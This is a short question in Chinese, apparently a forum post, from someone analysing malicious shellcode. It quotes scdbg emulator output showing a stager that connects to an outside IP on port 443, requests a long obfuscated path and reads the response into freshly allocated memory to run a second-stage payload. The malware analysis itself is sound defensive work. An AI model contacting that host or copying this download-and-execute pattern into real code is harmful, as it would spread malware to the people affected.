我正在分析恶意shellcode,并想查看是否还有其他可以收集的信息
HttpOpenRequestA(path: /kceT2iEf8t2UopWjz9YZSwpzYd02uD_-tbnHycAHK1WYniK03YEUqxZzmq_1b0rnQHrQIF0LBtwrw_Oqn0JQUS18WratsIdbYdSbgW7XrL9XtO5, )
有没有一种方法可以查看此路径导致什么以及执行了什么程序?
这是用于以下scdbg输出的:
40109b LoadLibraryA(wininet)
4010a9 InternetOpenA()
401132 InternetConnectA(server: 89.105.194.202, port: 443, )
401147 HttpOpenRequestA(path: /kceT2iEf8t2UopWjz9YZSwpzYd02uD_-tbnHycAHK1WYniK03YEUqxZzmq_1b0rnQHrQIF0LBtwrw_Oqn0JQUS18WratsIdbYdSbgW7XrL9XtO5, )
40115f InternetSetOptionA(h=4893, opt=1f, buf=12fdf4, blen=4)
40116b HttpSendRequestA()
401197 VirtualAlloc(base=0 , sz=400000) = 600000
4011ab InternetReadFile(4893, buf: 600000, size: 2000)